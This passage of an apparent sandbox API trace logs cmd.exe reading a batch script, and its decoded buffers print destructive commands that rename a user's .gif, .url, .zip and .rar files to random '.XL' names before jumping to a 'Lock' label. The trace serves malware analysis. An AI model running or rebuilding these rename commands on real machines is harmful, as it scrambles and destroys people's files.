goto Ran\r\n") returned 2 [0039.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.012] GetFileType (hFile=0x74) returned 0x1 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto Ran\r\n") returned 29 [0039.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.012] GetFileType (hFile=0x74) returned 0x1 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.png goto Ran\r\n") returned 2 [0039.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.013] GetFileType (hFile=0x74) returned 0x1 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.013] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto Ran\r\n") returned 29 [0039.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.013] GetFileType (hFile=0x74) returned 0x1 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.013] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.htm goto Ran\r\n") returned 2 [0039.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.014] GetFileType (hFile=0x74) returned 0x1 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.014] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto Ran\r\n") returned 30 [0039.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.014] GetFileType (hFile=0x74) returned 0x1 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.014] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=1034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.html goto Ran\r\n") returned 2 [0039.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.015] GetFileType (hFile=0x74) returned 0x1 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.015] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto Ran\r\n") returned 6 [0039.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.015] GetFileType (hFile=0x74) returned 0x1 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.015] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\nan\r\n") returned 26 [0039.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.016] GetFileType (hFile=0x74) returned 0x1 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.016] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0039.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.016] GetFileType (hFile=0x74) returned 0x1 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.016] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=1079, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.016] GetFileType (hFile=0x74) returned 0x1 [0039.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=1085, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0039.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.017] GetFileType (hFile=0x74) returned 0x1 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=1111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0039.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.017] GetFileType (hFile=0x74) returned 0x1 [0039.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=1113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0039.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.018] GetFileType (hFile=0x74) returned 0x1 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.018] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0039.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.018] GetFileType (hFile=0x74) returned 0x1 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.018] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=1130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0039.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.019] GetFileType (hFile=0x74) returned 0x1 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.019] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=1132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0039.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.019] GetFileType (hFile=0x74) returned 0x1 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.019] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0039.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.020] GetFileType (hFile=0x74) returned 0x1 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.020] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0039.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.020] GetFileType (hFile=0x74) returned 0x1 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.020] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.021] GetFileType (hFile=0x74) returned 0x1 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.021] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0039.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.021] GetFileType (hFile=0x74) returned 0x1 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.021] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=1179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0039.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.022] GetFileType (hFile=0x74) returned 0x1 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.022] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0039.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.022] GetFileType (hFile=0x74) returned 0x1 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.022] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0039.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 